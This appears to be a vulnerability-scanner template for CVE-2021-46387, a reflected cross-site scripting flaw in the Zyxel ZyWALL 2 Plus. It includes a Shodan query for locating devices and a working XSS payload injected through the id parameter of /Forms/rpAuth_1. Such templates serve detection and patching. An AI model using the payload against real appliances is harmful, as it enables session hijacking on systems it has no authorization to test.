id: CVE-2021-46387

info:
  name: Zyxel ZyWALL 2 Plus Internet Security Appliance - Cross-Site Scripting
  author: DhiyaneshDk
  severity: medium
  description: ZyXEL ZyWALL 2 Plus Internet Security Appliance is affected by Cross Site Scripting (XSS). Insecure URI handling leads to bypass security restriction to achieve Cross Site Scripting, which allows an attacker able to execute arbitrary JavaScript codes to perform multiple attacks such as clipboard hijacking and session hijacking.
  reference:
    - https://www.exploit-db.com/exploits/50797
    - https://nvd.nist.gov/vuln/detail/CVE-2021-46387
    - https://www.zyxel.com/us/en/support/security_advisories.shtml
    - https://drive.google.com/drive/folders/1_XfWBLqxT2Mqt7uB663Sjlc62pE8-rcN?usp=sharing
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-46387
    cwe-id: CWE-79
  metadata:
    shodan-query: http.title:"Zywall2Plus"
  tags: cve,cve2021,xss,zyxel

requests:
  - method: GET
    path:
      - '{{BaseURL}}/Forms/rpAuth_1?id=</form><iMg%20src=x%20onerror="prompt(document.domain)"><form>'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<iMg src=x onerror="prompt(document.domain)"><form>'
          - 'Entry Error'
        condition: and

      - type: word
        part: header
        words:
          - 'text/html'

      - type: status
        status:
          - 200